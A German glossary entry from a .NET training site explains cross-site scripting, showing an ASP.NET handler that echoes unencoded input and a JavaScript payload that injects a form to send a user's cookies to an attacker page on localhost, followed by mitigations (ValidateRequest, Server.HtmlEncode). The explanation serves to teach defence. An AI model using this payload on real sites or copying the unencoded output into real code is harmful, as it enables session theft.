Sie sind hier:
Lexikon/Glossar
Telefon (Mo-Fr 9 bis 16 Uhr):
0201/649590-0
|
Kontaktformular
Buy me a coffee
MENU
Start
Hauptseite
Angebote im Überblick
Kernkompetenzen
Softwareentwicklung
Beratung
Firmen-Schulungen
Offene Seminare
Online-Maßnahmen
Vorträge
Coaching
Support
Fachbücher
Fachartikel
Konditionen
Themen
Themenüberblick
Aktuelle Themen
Web & Cloud
Apps / Mobilplattformen
Benutzeroberflächen / User Experience
.NET
JavaScript/TypeScript
Java
Programmiersprachen/Sprachsyntax
Entwicklungswerkzeuge
Scripting
Softwareentwicklung allgemein
Datenbanken
Betriebssysteme und Virtualisierung
Microsoft Server-Produkte
Windows und Microsoft Office für Anwender
Allgemeine IT-Themen
Beratung
Beratungsthemen
Coaching
Softwareentwicklung
Technischer Support
Unsere Top-Berater
Referenzkunden
Angebotsanfrage
Individuelle Schulungen
1020 Schulungsthemen
Agendakonfigurator
Weiterbildungsphilosophie
Didaktische Konzepte
Vor-Ort oder Online
Unsere Top-Trainer
Referenzkunden
Teilnehmerfeedback
Angebotsanfrage
Offene Seminare
.NET-Akademie
.NET/C#-Basisseminar
WPF
WinUI
.NET MAUI
Blazor
ASP.NET WebAPI & gRPC
Entity Framework Core
Unit Testing / TDD
PowerShell
Infotage
Wissen
Übersicht
Fachbücher
Fachartikel
Konferenzvorträge
Konferenzen/Events
Spickzettel
Lexikon/Glossar
Programmcodebibliothek
Versionshistorie
Weblog
Downloads
Newsletter
Community-/Leserportal
Registrierung
.NET/C#/Visual Studio
.NET 8.0
.NET 7.0
.NET 6.0
ASP.NET (Core)/Blazor
PowerShell
Über uns
Kontakt
Selbstdarstellung
Kernkompetenzen
Dr. Holger Schwichtenberg
Top-Experten
Leitung & Kundenteam
Referenzkunden
Kundenaussagen
Referenzprojekte
Partner
Konditionen
Stellenangebote
Weitere Websites
Impressum
Datenschutzerklärung, Haftung, Urheberrecht
Suche
Themenkatalog
Tag Cloud
Volltextsuche
Site Map
FAQs
Erklärung des Begriffs: Cross-Site Scripting (XSS)
Begriff
Cross-Site Scripting
Abkürzung
XSS
Eintrag zuletzt aktualisiert am
23.07.2012
Zur Stichwortliste unseres Lexikons
Was ist
Cross-Site Scripting
?
Bei einem seitenübergreifenden
Skriptangriff
(Cross-Site-
Scripting
, abgekürzt XSS) gelingt es dem An-greifer, eigenen Clientskriptcode im Kontext einer fremden Webanwendung auszuführen. Dadurch kann der Angreifer z. B. Daten von Cookies »kapern«. Die Gefahr besteht immer, wenn eine Webseite Benutzer-eingaben wieder ausgibt, ohne sie auf enthaltenen Skriptcode zu prüfen.
Angriffsbeispiel
Das erste Beispiel zeigt einen einfachen Fall zur Erläuterung des Grundprinzips, im zweiten Beispiel wird es komplizierter.
Die Webseite, auf die ein Angriff gestartet werden soll, ermöglicht die Eingabe eines Textes. Bevor der Text endgültig gespeichert wird, soll der Text noch einmal angezeigt werden, sodass der Benutzer ihn bestätigen kann:
private void C
OK
Click(object sender, System.EventArgs e)
{
this.C_Ausgabe.Text =
"Sind Sie sicher, dass Sie folgenden Kommentar absenden wollen? <br>" +
C_Eingabe.Text;
this.C_Endgueltig.Visible = true;
}
Listing 1: Serverseitiger Code für das Beispiel
Ein Angreifer könnte nun in das Eingabefeld Browserskriptcode packen und damit erreichen, dass dieses Skript im Browser nach einem Rundgang ausgeführt wird.
Beispiel 2
Beim zweiten Beispiel nutzt der Angreifer die gleiche Grundtechnik, um die Cookies eines Benutzers zu kapern. Dieses Mal geht der Angriff gar nicht von der angegriffenen Webseite aus, sondern von irgendeiner fremden Webseite oder einer
HTML
-E-Mail. Was der Angreifer braucht, ist lediglich das Wissen um eine Webseite, die eine übergebene Information ungeprüft ausgibt.
Der Angreifer sendet einem Benutzer einen Link, der zum Klick auffordert. Hinter dem Link verbirgt sich ein geschickt gestricktes Skript, das eine Anfrage an die anzugreifende Seite enthält, wobei im Parameter wieder ein Skript übergeben wird. Das an die angegriffene Seite (hier: /Angegriffener/ausgabeseite.aspx) übermittelte Skript sorgt dafür, dass die Cookies an eine Seite des Angreifers (hier: /Angreifer/Angreifer.aspx) gesendet werden. Die Angreiferseite kann die Cookies dann speichern. Der Angegriffene beme
rkt
von den Umlenkungen nichts, weil diese viel zu schnell ablaufen.
<script id="clientEvent
Handle
rsJS" language="javascript">
<!--
function document_onclick() {
//document.location.href="welcome.aspx?name=<script>x=document.cookie;alert(x);
//</SCRIPT>";
document.location.href=
'http://localhost:90/_Misc/Sicherheit/Angriffe/XSS2/Angegriffener/
ausgabeseite.aspx?name=<F
ORM
action="http://localhost:90/_Misc/Sicherheit/
Angriffe/XSS2/Angreifer/Angreifer.aspx" method="post" id="idForm">
<INPUT name="cookiejar" type="hidden"></F
ORM
>
<SCRIPT>idForm.cookiejar.value=document.cookie;idForm.submit();</SCRIPT>';
// document.location.href="Startseite.aspx?name=<INPUT name='log'
// type='hidden'><SCRIPT>Form1.action='http://localhost:90/_Misc/Sicherheit/
// Angriffe/XSS2/
// Angreifer/Angreifer.aspx';Form1.log.value=document.cookie;
// Form1.submit();</SCRIPT>";
}
//-->
</script>
Listing 2: Der Programmcode hinter dem Link des Angreifers
Schutz vor diesem Angriff
In ASP.NET ist der seitenübergreifende
Skriptangriff
durch eine in
ASP.NET Page Framework
integrierte Sicherheitsfunktion bereits entschärft. Page Framework beme
rkt
, wenn ein Skript an eine Seite übergeben wird und verweigert dann die Abarbeitung des Skripts.
Die obigen Beispiele funktionieren tatsächlich nur, wenn man die Sicherheitsfunktion durch Validate¬Request="false" in der Seitendirektive deaktiviert:
<%@ Page Language="CS"
AutoEventWireup="false"
Inherits="
WWW
ings.StartSeite"
ValidateRequest="false"
CodeFile="StartSeite.aspx.cs" %>
Listing 30.33 Deaktivieren der Schutzfunktion vor
Skriptangriff
en
Trotz der integrierten Schutzfunktion ist es sinnvoll, alle Ausgaben mit der
Methode
Server.HtmlEncode() zu behandeln und so zu vermeiden, dass eventuell gefährliche Inhalte wirken können, weil sie als Text ausgegeben werden: C
Ausgabe.Text = Server.HtmlEncode(C
Eingabe.Text);
Querverweise zu anderen Begriffen im Lexikon
ASP.NET Page Framework (Page FX)
Skriptangriff
Scripting
Methode
Handle
Hypertext Markup Language (HTML)
Rocket (rkt)
Objekt-Relationales Mapping (ORM)
World Wide Web (WWW)
Beratung & Support
Anfrage für Beratung/Consulting zu Cross-Site Scripting XSS
Gesamter Beratungsthemenkatalog
Technischer Support zum Cross-Site Scripting XSS
Schulungen zu diesem Thema
Angular - Aufbauwissen (Angular Advanced)
Sicherheit in modernen Webanwendungen und Rich Internet Applications (Web Security)
Geschäftsanwendungen mit HTML 5.x und JavaScript (oder TypeScript): Moderne Web 2.0-/HTML5-Browser-Webanwendungen und Mobilanwendungen entwickeln
Sichere Webanwendungen mit IIS und ASP.NET / ASP.NET Core
Von ASP.NET 3.5 nach ASP.NET 4.0/4.5: Neuerungen in ASP.NET 4.0/4.5
Anfrage für eine individuelle Schulung zum Thema Cross-Site Scripting XSS
Gesamter Schulungsthemenkatalog
Bücher zu diesem Thema
Alle unsere aktuellen Fachbücher
E-Book-Abo für ab 99 Euro im Jahr